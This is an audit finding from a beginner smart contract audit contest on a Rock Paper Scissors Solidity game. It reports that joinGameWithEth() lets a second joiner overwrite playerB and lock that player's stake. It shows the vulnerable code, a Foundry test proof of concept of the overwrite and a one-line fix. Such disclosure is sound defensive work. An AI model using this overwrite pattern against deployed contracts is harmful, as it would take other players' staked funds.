Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

PlayerB Slot Overwrite Attack

Summary && Vulnerability Details

The joinGameWithEth() function fails to check if playerB already exists, enabling these attacks:

Attack Scenario

  1. Legitimate PlayerB joins the game and stakes ETH

  2. Malicious PlayerC calls joinGameWithEth() with the same bet amount

  3. Result:

    • Original playerB is overwritten

    • Original playerB's ETH is permanently locked in contract

    • Attacker becomes the new playerB and can claim winnings

    • Game state becomes corrupted

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender; // 🚨 No check for existing playerB
emit PlayerJoined(_gameId, msg.sender);
}

POC:

Add this test to the test file

// Test joining a game with ETH
function testJoinGameWithEthC() public {
// First create a game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// Now join the game
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// playerC overwrites playerB
address playerC = makeAddr("playerC");
vm.deal(playerC, 10 ether);
// Now join the game
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Verify game state
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}

Impact

This vulnerability allows malicious users to overwrite PlayerB's position, stealing their staked ETH and potential winnings.

Tools Used

Foundry Tests

Recommendations

Add validation to prevent PlayerB overwrites:

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
+ require(game.playerB == address(0), "Game already has a playerB");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.